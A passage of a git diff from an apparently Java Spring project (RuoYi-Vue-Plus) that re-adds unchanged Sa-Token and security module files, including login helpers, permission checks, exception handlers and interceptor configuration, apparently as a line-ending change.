(RedisUtils.hasKey(key)) { + RedisUtils.setCacheObject(key, object, true); + CAFFEINE.invalidate(key); + } + } + + /** + * 删除Object + */ + @Override + public void deleteObject(String key) { + RedisUtils.deleteObject(key); + } + + /** + * 获取Object的剩余存活时间 (单位: 秒) + */ + @Override + public long getObjectTimeout(String key) { + long timeout = RedisUtils.getTimeToLive(key); + return timeout < 0 ? timeout : timeout / 1000; + } + + /** + * 修改Object的剩余存活时间 (单位: 秒) + */ + @Override + public void updateObjectTimeout(String key, long timeout) { + RedisUtils.expire(key, Duration.ofSeconds(timeout)); + } + + + /** + * 搜索数据 + */ + @SuppressWarnings("unchecked") + @Override + public List searchData(String prefix, String keyword, int start, int size, boolean sortType) { + String keyStr = prefix + "*" + keyword + "*"; + return (List) CAFFEINE.get(keyStr, k -> { + Collection keys = RedisUtils.keys(keyStr); + List list = new ArrayList<>(keys); + return SaFoxUtil.searchList(list, start, size, sortType); + }); + } +} diff --git a/ruoyi-common/ruoyi-common-satoken/src/main/java/org/dromara/common/satoken/core/service/SaPermissionImpl.java b/ruoyi-common/ruoyi-common-satoken/src/main/java/org/dromara/common/satoken/core/service/SaPermissionImpl.java index 1cef9a7..07a6c37 100644 --- a/ruoyi-common/ruoyi-common-satoken/src/main/java/org/dromara/common/satoken/core/service/SaPermissionImpl.java +++ b/ruoyi-common/ruoyi-common-satoken/src/main/java/org/dromara/common/satoken/core/service/SaPermissionImpl.java @@ -1,47 +1,47 @@ -package org.dromara.common.satoken.core.service; - -import cn.dev33.satoken.stp.StpInterface; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.enums.UserType; -import org.dromara.common.satoken.utils.LoginHelper; - -import java.util.ArrayList; -import java.util.List; - -/** - * sa-token 权限管理实现类 - * - * @author Lion Li - */ -public class SaPermissionImpl implements StpInterface { - - /** - * 获取菜单权限列表 - */ - @Override - public List getPermissionList(Object loginId, String loginType) { - LoginUser loginUser = LoginHelper.getLoginUser(); - UserType userType = UserType.getUserType(loginUser.getUserType()); - if (userType == UserType.SYS_USER) { - return new ArrayList<>(loginUser.getMenuPermission()); - } else if (userType == UserType.APP_USER) { - // 其他端 自行根据业务编写 - } - return new ArrayList<>(); - } - - /** - * 获取角色权限列表 - */ - @Override - public List getRoleList(Object loginId, String loginType) { - LoginUser loginUser = LoginHelper.getLoginUser(); - UserType userType = UserType.getUserType(loginUser.getUserType()); - if (userType == UserType.SYS_USER) { - return new ArrayList<>(loginUser.getRolePermission()); - } else if (userType == UserType.APP_USER) { - // 其他端 自行根据业务编写 - } - return new ArrayList<>(); - } -} +package org.dromara.common.satoken.core.service; + +import cn.dev33.satoken.stp.StpInterface; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.enums.UserType; +import org.dromara.common.satoken.utils.LoginHelper; + +import java.util.ArrayList; +import java.util.List; + +/** + * sa-token 权限管理实现类 + * + * @author Lion Li + */ +public class SaPermissionImpl implements StpInterface { + + /** + * 获取菜单权限列表 + */ + @Override + public List getPermissionList(Object loginId, String loginType) { + LoginUser loginUser = LoginHelper.getLoginUser(); + UserType userType = UserType.getUserType(loginUser.getUserType()); + if (userType == UserType.SYS_USER) { + return new ArrayList<>(loginUser.getMenuPermission()); + } else if (userType == UserType.APP_USER) { + // 其他端 自行根据业务编写 + } + return new ArrayList<>(); + } + + /** + * 获取角色权限列表 + */ + @Override + public List getRoleList(Object loginId, String loginType) { + LoginUser loginUser = LoginHelper.getLoginUser(); + UserType userType = UserType.getUserType(loginUser.getUserType()); + if (userType == UserType.SYS_USER) { + return new ArrayList<>(loginUser.getRolePermission()); + } else if (userType == UserType.APP_USER) { + // 其他端 自行根据业务编写 + } + return new ArrayList<>(); + } +} diff --git a/ruoyi-common/ruoyi-common-satoken/src/main/java/org/dromara/common/satoken/handler/SaTokenExceptionHandler.java b/ruoyi-common/ruoyi-common-satoken/src/main/java/org/dromara/common/satoken/handler/SaTokenExceptionHandler.java index a45af89..be1bb85 100644 --- a/ruoyi-common/ruoyi-common-satoken/src/main/java/org/dromara/common/satoken/handler/SaTokenExceptionHandler.java +++ b/ruoyi-common/ruoyi-common-satoken/src/main/java/org/dromara/common/satoken/handler/SaTokenExceptionHandler.java @@ -1,52 +1,52 @@ -package org.dromara.common.satoken.handler; - -import cn.dev33.satoken.exception.NotLoginException; -import cn.dev33.satoken.exception.NotPermissionException; -import cn.dev33.satoken.exception.NotRoleException; -import cn.hutool.http.HttpStatus; -import jakarta.servlet.http.HttpServletRequest; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.domain.R; -import org.springframework.web.bind.annotation.ExceptionHandler; -import org.springframework.web.bind.annotation.RestControllerAdvice; - -/** - * SaToken异常处理器 - * - * @author Lion Li - */ -@Slf4j -@RestControllerAdvice -public class SaTokenExceptionHandler { - - /** - * 权限码异常 - */ - @ExceptionHandler(NotPermissionException.class) - public R handleNotPermissionException(NotPermissionException e, HttpServletRequest request) { - String requestURI = request.getRequestURI(); - log.error("请求地址'{}',权限码校验失败'{}'", requestURI, e.getMessage()); - return R.fail(HttpStatus.HTTP_FORBIDDEN, "没有访问权限,请联系管理员授权"); - } - - /** - * 角色权限异常 - */ - @ExceptionHandler(NotRoleException.class) - public R handleNotRoleException(NotRoleException e, HttpServletRequest request) { - String requestURI = request.getRequestURI(); - log.error("请求地址'{}',角色权限校验失败'{}'", requestURI, e.getMessage()); - return R.fail(HttpStatus.HTTP_FORBIDDEN, "没有访问权限,请联系管理员授权"); - } - - /** - * 认证失败 - */ - @ExceptionHandler(NotLoginException.class) - public R handleNotLoginException(NotLoginException e, HttpServletRequest request) { - String requestURI = request.getRequestURI(); - log.error("请求地址'{}',认证失败'{}',无法访问系统资源", requestURI, e.getMessage()); - return R.fail(HttpStatus.HTTP_UNAUTHORIZED, "认证失败,无法访问系统资源"); - } - -} +package org.dromara.common.satoken.handler; + +import cn.dev33.satoken.exception.NotLoginException; +import cn.dev33.satoken.exception.NotPermissionException; +import cn.dev33.satoken.exception.NotRoleException; +import cn.hutool.http.HttpStatus; +import jakarta.servlet.http.HttpServletRequest; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.domain.R; +import org.springframework.web.bind.annotation.ExceptionHandler; +import org.springframework.web.bind.annotation.RestControllerAdvice; + +/** + * SaToken异常处理器 + * + * @author Lion Li + */ +@Slf4j +@RestControllerAdvice +public class SaTokenExceptionHandler { + + /** + * 权限码异常 + */ + @ExceptionHandler(NotPermissionException.class) + public R handleNotPermissionException(NotPermissionException e, HttpServletRequest request) { + String requestURI = request.getRequestURI(); + log.error("请求地址'{}',权限码校验失败'{}'", requestURI, e.getMessage()); + return R.fail(HttpStatus.HTTP_FORBIDDEN, "没有访问权限,请联系管理员授权"); + } + + /** + * 角色权限异常 + */ + @ExceptionHandler(NotRoleException.class) + public R handleNotRoleException(NotRoleException e, HttpServletRequest request) { + String requestURI = request.getRequestURI(); + log.error("请求地址'{}',角色权限校验失败'{}'", requestURI, e.getMessage()); + return R.fail(HttpStatus.HTTP_FORBIDDEN, "没有访问权限,请联系管理员授权"); + } + + /** + * 认证失败 + */ + @ExceptionHandler(NotLoginException.class) + public R handleNotLoginException(NotLoginException e, HttpServletRequest request) { + String requestURI = request.getRequestURI(); + log.error("请求地址'{}',认证失败'{}',无法访问系统资源", requestURI, e.getMessage()); + return R.fail(HttpStatus.HTTP_UNAUTHORIZED, "认证失败,无法访问系统资源"); + } + +} diff --git a/ruoyi-common/ruoyi-common-satoken/src/main/java/org/dromara/common/satoken/utils/LoginHelper.java b/ruoyi-common/ruoyi-common-satoken/src/main/java/org/dromara/common/satoken/utils/LoginHelper.java index f683676..0660f34 100644 --- a/ruoyi-common/ruoyi-common-satoken/src/main/java/org/dromara/common/satoken/utils/LoginHelper.java +++ b/ruoyi-common/ruoyi-common-satoken/src/main/java/org/dromara/common/satoken/utils/LoginHelper.java @@ -1,203 +1,203 @@ -package org.dromara.common.satoken.utils; - -import cn.dev33.satoken.session.SaSession; -import cn.dev33.satoken.stp.SaLoginModel; -import cn.dev33.satoken.stp.StpUtil; -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.convert.Convert; -import cn.hutool.core.util.ObjectUtil; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.constant.TenantConstants; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.enums.UserType; - -import java.util.Set; - -/** - * 登录鉴权助手 - *

- * user_type 为 用户类型 同一个用户表 可以有多种用户类型 例如 pc,app - * deivce 为 设备类型 同一个用户类型 可以有 多种设备类型 例如 web,ios - * 可以组成 用户类型与设备类型多对多的 权限灵活控制 - *

- * 多用户体系 针对 多种用户类型 但权限控制不一致 - * 可以组成 多用户类型表与多设备类型 分别控制权限 - * - * @author Lion Li - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class LoginHelper { - - public static final String LOGIN_USER_KEY = "loginUser"; - public static final String TENANT_KEY = "tenantId"; - public static final String USER_KEY = "userId"; - public static final String USER_NAME_KEY = "userName"; - public static final String DEPT_KEY = "deptId"; - public static final String DEPT_NAME_KEY = "deptName"; - public static final String DEPT_CATEGORY_KEY = "deptCategory"; - public static final String CLIENT_KEY = "clientid"; - public static final String USER_NAME = "admin"; - - /** - * 登录系统 基于 设备类型 - * 针对相同用户体系不同设备 - * - * @param loginUser 登录用户信息 - * @param model 配置参数 - */ - public static void login(LoginUser loginUser, SaLoginModel model) { - model = ObjectUtil.defaultIfNull(model, new SaLoginModel()); - StpUtil.login(loginUser.getLoginId(), - model.setExtra(TENANT_KEY, loginUser.getTenantId()) - .setExtra(USER_KEY, loginUser.getUserId()) - .setExtra(USER_NAME_KEY, loginUser.getUsername()) - .setExtra(DEPT_KEY, loginUser.getDeptId()) - .setExtra(DEPT_NAME_KEY, loginUser.getDeptName()) - .setExtra(DEPT_CATEGORY_KEY, loginUser.getDeptCategory()) - ); - StpUtil.getTokenSession().set(LOGIN_USER_KEY, loginUser); - } - - /** - * 获取用户(多级缓存) - */ - public static LoginUser getLoginUser() { - SaSession session = StpUtil.getTokenSession(); - if (ObjectUtil.isNull(session)) { - return null; - } - return (LoginUser) session.get(LOGIN_USER_KEY); - } - - /** - * 获取用户基于token - */ - public static LoginUser getLoginUser(String token) { - SaSession session = StpUtil.getTokenSessionByToken(token); - if (ObjectUtil.isNull(session)) { - return null; - } - return (LoginUser) session.get(LOGIN_USER_KEY); - } - - /** - * 获取用户id - */ - public static Long getUserId() { - return Convert.toLong(getExtra(USER_KEY)); - } - - /** - * 获取用户账户 - */ - public static String getUsername() { - return Convert.toStr(getExtra(USER_NAME_KEY)); - } - - /** - * 获取租户ID - */ - public static String getTenantId() { - return Convert.toStr(getExtra(TENANT_KEY)); - } - - /** - * 获取部门ID - */ - public static Long getDeptId() { - return Convert.toLong(getExtra(DEPT_KEY)); - } - - /** - * 获取部门名 - */ - public static String getDeptName() { - return Convert.toStr(getExtra(DEPT_NAME_KEY)); - } - - /** - * 获取部门类别编码 - */ - public static String getDeptCategory() { - return Convert.toStr(getExtra(DEPT_CATEGORY_KEY)); - } - - /** - * 获取当前 Token 的扩展信息 - * - * @param key 键值 - * @return 对应的扩展数据 - */ - private static Object getExtra(String key) { - try { - return StpUtil.getExtra(key); - } catch (Exception e) { - return null; - } - } - - /** - * 获取用户类型 - */ - public static UserType getUserType() { - String loginType = StpUtil.getLoginIdAsString(); - return UserType.getUserType(loginType); - } - - /** - * 是否为超级管理员 - * - * @param userId 用户ID - * @return 结果 - */ - public static boolean isSuperAdmin(Long userId) { - return SystemConstants.SUPER_ADMIN_ID.equals(userId); - } - - /** - * 是否为超级管理员 - * - * @return 结果 - */ - public static boolean isSuperAdmin() { - return isSuperAdmin(getUserId()); - } - - /** - * 是否为租户管理员 - * - * @param rolePermission 角色权限标识组 - * @return 结果 - */ - public static boolean isTenantAdmin(Set rolePermission) { - if (CollUtil.isEmpty(rolePermission)) { - return false; - } - return rolePermission.contains(TenantConstants.TENANT_ADMIN_ROLE_KEY); - } - - /** - * 是否为租户管理员 - * - * @return 结果 - */ - public static boolean isTenantAdmin() { - return Convert.toBool(isTenantAdmin(getLoginUser().getRolePermission())); - } - - /** - * 检查当前用户是否已登录 - * - * @return 结果 - */ - public static boolean isLogin() { - try { - return getLoginUser() != null; - } catch (Exception e) { - return false; - } - } - -} +package org.dromara.common.satoken.utils; + +import cn.dev33.satoken.session.SaSession; +import cn.dev33.satoken.stp.SaLoginModel; +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.convert.Convert; +import cn.hutool.core.util.ObjectUtil; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.constant.TenantConstants; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.enums.UserType; + +import java.util.Set; + +/** + * 登录鉴权助手 + *

+ * user_type 为 用户类型 同一个用户表 可以有多种用户类型 例如 pc,app + * deivce 为 设备类型 同一个用户类型 可以有 多种设备类型 例如 web,ios + * 可以组成 用户类型与设备类型多对多的 权限灵活控制 + *

+ * 多用户体系 针对 多种用户类型 但权限控制不一致 + * 可以组成 多用户类型表与多设备类型 分别控制权限 + * + * @author Lion Li + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class LoginHelper { + + public static final String LOGIN_USER_KEY = "loginUser"; + public static final String TENANT_KEY = "tenantId"; + public static final String USER_KEY = "userId"; + public static final String USER_NAME_KEY = "userName"; + public static final String DEPT_KEY = "deptId"; + public static final String DEPT_NAME_KEY = "deptName"; + public static final String DEPT_CATEGORY_KEY = "deptCategory"; + public static final String CLIENT_KEY = "clientid"; + public static final String USER_NAME = "admin"; + + /** + * 登录系统 基于 设备类型 + * 针对相同用户体系不同设备 + * + * @param loginUser 登录用户信息 + * @param model 配置参数 + */ + public static void login(LoginUser loginUser, SaLoginModel model) { + model = ObjectUtil.defaultIfNull(model, new SaLoginModel()); + StpUtil.login(loginUser.getLoginId(), + model.setExtra(TENANT_KEY, loginUser.getTenantId()) + .setExtra(USER_KEY, loginUser.getUserId()) + .setExtra(USER_NAME_KEY, loginUser.getUsername()) + .setExtra(DEPT_KEY, loginUser.getDeptId()) + .setExtra(DEPT_NAME_KEY, loginUser.getDeptName()) + .setExtra(DEPT_CATEGORY_KEY, loginUser.getDeptCategory()) + ); + StpUtil.getTokenSession().set(LOGIN_USER_KEY, loginUser); + } + + /** + * 获取用户(多级缓存) + */ + public static LoginUser getLoginUser() { + SaSession session = StpUtil.getTokenSession(); + if (ObjectUtil.isNull(session)) { + return null; + } + return (LoginUser) session.get(LOGIN_USER_KEY); + } + + /** + * 获取用户基于token + */ + public static LoginUser getLoginUser(String token) { + SaSession session = StpUtil.getTokenSessionByToken(token); + if (ObjectUtil.isNull(session)) { + return null; + } + return (LoginUser) session.get(LOGIN_USER_KEY); + } + + /** + * 获取用户id + */ + public static Long getUserId() { + return Convert.toLong(getExtra(USER_KEY)); + } + + /** + * 获取用户账户 + */ + public static String getUsername() { + return Convert.toStr(getExtra(USER_NAME_KEY)); + } + + /** + * 获取租户ID + */ + public static String getTenantId() { + return Convert.toStr(getExtra(TENANT_KEY)); + } + + /** + * 获取部门ID + */ + public static Long getDeptId() { + return Convert.toLong(getExtra(DEPT_KEY)); + } + + /** + * 获取部门名 + */ + public static String getDeptName() { + return Convert.toStr(getExtra(DEPT_NAME_KEY)); + } + + /** + * 获取部门类别编码 + */ + public static String getDeptCategory() { + return Convert.toStr(getExtra(DEPT_CATEGORY_KEY)); + } + + /** + * 获取当前 Token 的扩展信息 + * + * @param key 键值 + * @return 对应的扩展数据 + */ + private static Object getExtra(String key) { + try { + return StpUtil.getExtra(key); + } catch (Exception e) { + return null; + } + } + + /** + * 获取用户类型 + */ + public static UserType getUserType() { + String loginType = StpUtil.getLoginIdAsString(); + return UserType.getUserType(loginType); + } + + /** + * 是否为超级管理员 + * + * @param userId 用户ID + * @return 结果 + */ + public static boolean isSuperAdmin(Long userId) { + return SystemConstants.SUPER_ADMIN_ID.equals(userId); + } + + /** + * 是否为超级管理员 + * + * @return 结果 + */ + public static boolean isSuperAdmin() { + return isSuperAdmin(getUserId()); + } + + /** + * 是否为租户管理员 + * + * @param rolePermission 角色权限标识组 + * @return 结果 + */ + public static boolean isTenantAdmin(Set rolePermission) { + if (CollUtil.isEmpty(rolePermission)) { + return false; + } + return rolePermission.contains(TenantConstants.TENANT_ADMIN_ROLE_KEY); + } + + /** + * 是否为租户管理员 + * + * @return 结果 + */ + public static boolean isTenantAdmin() { + return Convert.toBool(isTenantAdmin(getLoginUser().getRolePermission())); + } + + /** + * 检查当前用户是否已登录 + * + * @return 结果 + */ + public static boolean isLogin() { + try { + return getLoginUser() != null; + } catch (Exception e) { + return false; + } + } + +} diff --git a/ruoyi-common/ruoyi-common-satoken/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/ruoyi-common/ruoyi-common-satoken/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports index 6dd284f..e62fe6f 100644 --- a/ruoyi-common/ruoyi-common-satoken/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports +++ b/ruoyi-common/ruoyi-common-satoken/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -1 +1 @@ -org.dromara.common.satoken.config.SaTokenConfig +org.dromara.common.satoken.config.SaTokenConfig diff --git a/ruoyi-common/ruoyi-common-satoken/src/main/resources/common-satoken.yml b/ruoyi-common/ruoyi-common-satoken/src/main/resources/common-satoken.yml index 95e1b41..2980152 100644 --- a/ruoyi-common/ruoyi-common-satoken/src/main/resources/common-satoken.yml +++ b/ruoyi-common/ruoyi-common-satoken/src/main/resources/common-satoken.yml @@ -1,13 +1,13 @@ -# 内置配置 不允许修改 如需修改请在 nacos 上写相同配置覆盖 -# Sa-Token配置 -sa-token: - # 允许动态设置 token 有效期 - dynamic-active-timeout: true - # 允许从 请求参数 读取 token - is-read-body: true - # 允许从 header 读取 token - is-read-header: true - # 关闭 cookie 鉴权 从根源杜绝 csrf 漏洞风险 - is-read-cookie: false - # token前缀 - token-prefix: "Bearer" +# 内置配置 不允许修改 如需修改请在 nacos 上写相同配置覆盖 +# Sa-Token配置 +sa-token: + # 允许动态设置 token 有效期 + dynamic-active-timeout: true + # 允许从 请求参数 读取 token + is-read-body: true + # 允许从 header 读取 token + is-read-header: true + # 关闭 cookie 鉴权 从根源杜绝 csrf 漏洞风险 + is-read-cookie: false + # token前缀 + token-prefix: "Bearer" diff --git a/ruoyi-common/ruoyi-common-security/pom.xml b/ruoyi-common/ruoyi-common-security/pom.xml index 5b39df2..a43e364 100644 --- a/ruoyi-common/ruoyi-common-security/pom.xml +++ b/ruoyi-common/ruoyi-common-security/pom.xml @@ -1,26 +1,26 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-security - - - ruoyi-common-security 安全模块 - - - - - org.dromara - ruoyi-common-satoken - - - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-security + + + ruoyi-common-security 安全模块 + + + + + org.dromara + ruoyi-common-satoken + + + + + diff --git a/ruoyi-common/ruoyi-common-security/src/main/java/org/dromara/common/security/config/SecurityConfig.java b/ruoyi-common/ruoyi-common-security/src/main/java/org/dromara/common/security/config/SecurityConfig.java index a4e921f..a486eb2 100644 --- a/ruoyi-common/ruoyi-common-security/src/main/java/org/dromara/common/security/config/SecurityConfig.java +++ b/ruoyi-common/ruoyi-common-security/src/main/java/org/dromara/common/security/config/SecurityConfig.java @@ -1,105 +1,105 @@ -package org.dromara.common.security.config; - -import cn.dev33.satoken.exception.NotLoginException; -import cn.dev33.satoken.filter.SaServletFilter; -import cn.dev33.satoken.httpauth.basic.SaHttpBasicUtil; -import cn.dev33.satoken.interceptor.SaInterceptor; -import cn.dev33.satoken.router.SaRouter; -import cn.dev33.satoken.stp.StpUtil; -import cn.dev33.satoken.util.SaResult; -import jakarta.servlet.http.HttpServletRequest; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.constant.HttpStatus; -import org.dromara.common.core.exception.SseException; -import org.dromara.common.core.utils.ServletUtils; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.common.security.config.properties.SecurityProperties; -import org.dromara.common.security.handler.AllUrlHandler; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.boot.context.properties.EnableConfigurationProperties; -import org.springframework.context.annotation.Bean; -import org.springframework.web.servlet.config.annotation.InterceptorRegistry; -import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; - -/** - * 权限安全配置 - * - * @author Lion Li - */ - -@Slf4j -@AutoConfiguration -@EnableConfigurationProperties(SecurityProperties.class) -@RequiredArgsConstructor -public class SecurityConfig implements WebMvcConfigurer { - - private final SecurityProperties securityProperties; - - /** - * 注册sa-token的拦截器 - */ - @Override - public void addInterceptors(InterceptorRegistry registry) { - // 注册路由拦截器,自定义验证规则 - registry.addInterceptor(new SaInterceptor(handler -> { - AllUrlHandler allUrlHandler = SpringUtils.getBean(AllUrlHandler.class); - // 登录验证 -- 排除多个路径 - SaRouter - // 获取所有的 - .match(allUrlHandler.getUrls()) - // 对未排除的路径进行检查 - .check(() -> { - HttpServletRequest request = ServletUtils.getRequest(); - // 检查是否登录 是否有token - try { - StpUtil.checkLogin(); - } catch (NotLoginException e) { - if (request.getRequestURI().contains("sse")) { - throw new SseException(e.getMessage(), e.getCode()); - } else { - throw e; - } - } - - // 检查 header 与 param 里的 clientid 与 token 里的是否一致 - String headerCid = request.getHeader(LoginHelper.CLIENT_KEY); - String paramCid = ServletUtils.getParameter(LoginHelper.CLIENT_KEY); - String clientId = StpUtil.getExtra(LoginHelper.CLIENT_KEY).toString(); - if (!StringUtils.equalsAny(clientId, headerCid, paramCid)) { - // token 无效 - throw NotLoginException.newInstance(StpUtil.getLoginType(), - "-100", "客户端ID与Token不匹配", - StpUtil.getTokenValue()); - } - - // 有效率影响 用于临时测试 - // if (log.isDebugEnabled()) { - // log.info("剩余有效时间: {}", StpUtil.getTokenTimeout()); - // log.info("临时有效时间: {}", StpUtil.getTokenActivityTimeout()); - // } - - }); - })).addPathPatterns("/**") - // 排除不需要拦截的路径 - .excludePathPatterns(securityProperties.getExcludes()); - } - - /** - * 对 actuator 健康检查接口 做账号密码鉴权 - */ - @Bean - public SaServletFilter getSaServletFilter() { - String username = SpringUtils.getProperty("spring.boot.admin.client.username"); - String password = SpringUtils.getProperty("spring.boot.admin.client.password"); - return new SaServletFilter() - .addInclude("/actuator", "/actuator/**") - .setAuth(obj -> { - SaHttpBasicUtil.check(username + ":" + password); - }) - .setError(e -> SaResult.error(e.getMessage()).setCode(HttpStatus.UNAUTHORIZED)); - } - -} +package org.dromara.common.security.config; + +import cn.dev33.satoken.exception.NotLoginException; +import cn.dev33.satoken.filter.SaServletFilter; +import cn.dev33.satoken.httpauth.basic.SaHttpBasicUtil; +import cn.dev33.satoken.interceptor.SaInterceptor; +import cn.dev33.satoken.router.SaRouter; +import cn.dev33.satoken.stp.StpUtil; +import cn.dev33.satoken.util.SaResult; +import jakarta.servlet.http.HttpServletRequest; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.constant.HttpStatus; +import org.dromara.common.core.exception.SseException; +import org.dromara.common.core.utils.ServletUtils; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.common.security.config.properties.SecurityProperties; +import org.dromara.common.security.handler.AllUrlHandler; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.web.servlet.config.annotation.InterceptorRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; + +/** + * 权限安全配置 + * + * @author Lion Li + */ + +@Slf4j +@AutoConfiguration +@EnableConfigurationProperties(SecurityProperties.class) +@RequiredArgsConstructor +public class SecurityConfig implements WebMvcConfigurer { + + private final SecurityProperties securityProperties; + + /** + * 注册sa-token的拦截器 + */ + @Override + public void addInterceptors(InterceptorRegistry registry) { + // 注册路由拦截器,自定义验证规则 + registry.addInterceptor(new SaInterceptor(handler -> { + AllUrlHandler allUrlHandler = SpringUtils.getBean(AllUrlHandler.class); + // 登录验证 -- 排除多个路径 + SaRouter + // 获取所有的 + .match(allUrlHandler.getUrls()) + // 对未排除的路径进行检查 + .check(() -> { + HttpServletRequest request = ServletUtils.getRequest(); + // 检查是否登录 是否有token + try { + StpUtil.checkLogin(); + } catch (NotLoginException e) { + if (request.getRequestURI().contains("sse")) { + throw new SseException(e.getMessage(), e.getCode()); + } else { + throw e; + } + } + + // 检查 header 与 param 里的 clientid 与 token 里的是否一致 + String headerCid = request.getHeader(LoginHelper.CLIENT_KEY); + String paramCid = ServletUtils.getParameter(LoginHelper.CLIENT_KEY); + String clientId = StpUtil.getExtra(LoginHelper.CLIENT_KEY).toString(); + if (!StringUtils.equalsAny(clientId, headerCid, paramCid)) { + // token 无效 + throw NotLoginException.newInstance(StpUtil.getLoginType(), + "-100", "客户端ID与Token不匹配", + StpUtil.getTokenValue()); + } + + // 有效率影响 用于临时测试 + // if (log.isDebugEnabled()) { + // log.info("剩余有效时间: {}", StpUtil.getTokenTimeout()); + // log.info("临时有效时间: {}", StpUtil.getTokenActivityTimeout()); + // } + + }); + })).addPathPatterns("/**") + // 排除不需要拦截的路径 + .excludePathPatterns(securityProperties.getExcludes()); + } + + /** + * 对 actuator 健康检查接口 做账号密码鉴权 + */ + @Bean + public SaServletFilter getSaServletFilter() { + String username = SpringUtils.getProperty("spring.boot.admin.client.username"); + String password = SpringUtils.getProperty("spring.boot.admin.client.password"); + return new SaServletFilter() + .addInclude("/actuator", "/actuator/**") + .setAuth(obj -> { + SaHttpBasicUtil.check(username + ":" + password); + }) + .setError(e -> SaResult.error(e.getMessage()).setCode(HttpStatus.UNAUTHORIZED)); + } + +} diff --git a/ruoyi-common/ruoyi-common-security/src/main/java/org/dromara/common/security/config/properties/SecurityProperties.java b/ruoyi-common/ruoyi-common-security/src/main/java/org/dromara/common/security/config/properties/SecurityProperties.java index be1cc6e..e8ae6c7 100644 --- a/ruoyi-common/ruoyi-common-security/src/main/java/org/dromara/common/security/config/properties/SecurityProperties.java +++ b/ruoyi-common/ruoyi-common-security/src/main/java/org/dromara/common/security/config/properties/SecurityProperties.java @@ -1,21 +1,21 @@ -package org.dromara.common.security.config.properties; - -import lombok.Data; -import org.springframework.boot.context.properties.ConfigurationProperties; - -/** - * Security 配置属性 - * - * @author Lion Li - */ -@Data -@ConfigurationProperties(prefix = "security") -public class SecurityProperties { - - /** - * 排除路径 - */ - private String[] excludes; - - -} +package org.dromara.common.security.config.properties; + +import lombok.Data; +import org.springframework.boot.context.properties.ConfigurationProperties; + +/** + * Security 配置属性 + * + * @author Lion Li + */ +@Data +@ConfigurationProperties(prefix = "security") +public class SecurityProperties { + + /** + * 排除路径 + */ + private String[] excludes; + + +} diff --git a/ruoyi-common/ruoyi-common-security/src/main/java/org/dromara/common/security/handler/AllUrlHandler.java b/ruoyi-common/ruoyi-common-security/src/main/java/org/dromara/common/security/handler/AllUrlHandler.java index a122afb..0b8b023 100644 --- a/ruoyi-common/ruoyi-common-security/src/main/java/org/dromara/common/security/handler/AllUrlHandler.java +++ b/ruoyi-common/ruoyi-common-security/src/main/java/org/dromara/common/security/handler/AllUrlHandler.java @@ -1,39 +1,39 @@ -package org.dromara.common.security.handler; - -import cn.hutool.core.util.ReUtil; -import lombok.Data; -import org.dromara.common.core.utils.SpringUtils; -import org.springframework.beans.factory.InitializingBean; -import org.springframework.web.method.HandlerMethod; -import org.springframework.web.servlet.mvc.method.RequestMappingInfo; -import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; - -import java.util.*; -import java.util.regex.Pattern; - -/** - * 获取所有Url配置 - * - * @author Lion Li - */ -@Data -public class AllUrlHandler implements InitializingBean { - - private static final Pattern PATTERN = Pattern.compile("\\{(.*?)\\}"); - - private List urls = new ArrayList<>(); - - @Override - public void afterPropertiesSet() { - Set set = new HashSet<>(); - RequestMappingHandlerMapping mapping = SpringUtils.getBean("requestMappingHandlerMapping", RequestMappingHandlerMapping.class); - Map map = mapping.getHandlerMethods(); - map.keySet().forEach(info -> { - // 获取注解上边的 path 替代 path variable 为 * - Objects.requireNonNull(info.getPathPatternsCondition().getPatterns()) - .forEach(url -> set.add(ReUtil.replaceAll(url.getPatternString(), PATTERN, "*"))); - }); - urls.addAll(set); - } - -} +package org.dromara.common.security.handler; + +import cn.hutool.core.util.ReUtil; +import lombok.Data; +import org.dromara.common.core.utils.SpringUtils; +import org.springframework.beans.factory.InitializingBean; +import org.springframework.web.method.HandlerMethod; +import org.springframework.web.servlet.mvc.method.RequestMappingInfo; +import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; + +import java.util.*; +import java.util.regex.Pattern; + +/** + * 获取所有Url配置 + * + * @author Lion Li + */ +@Data +public class AllUrlHandler implements InitializingBean { + + private static final Pattern PATTERN = Pattern.compile("\\{(.*?)\\}"); + + private List urls = new ArrayList<>(); + + @Override + public void afterPropertiesSet() { + Set set = new HashSet<>(); + RequestMappingHandlerMapping mapping = SpringUtils.getBean("requestMappingHandlerMapping", RequestMappingHandlerMapping.class); + Map map = 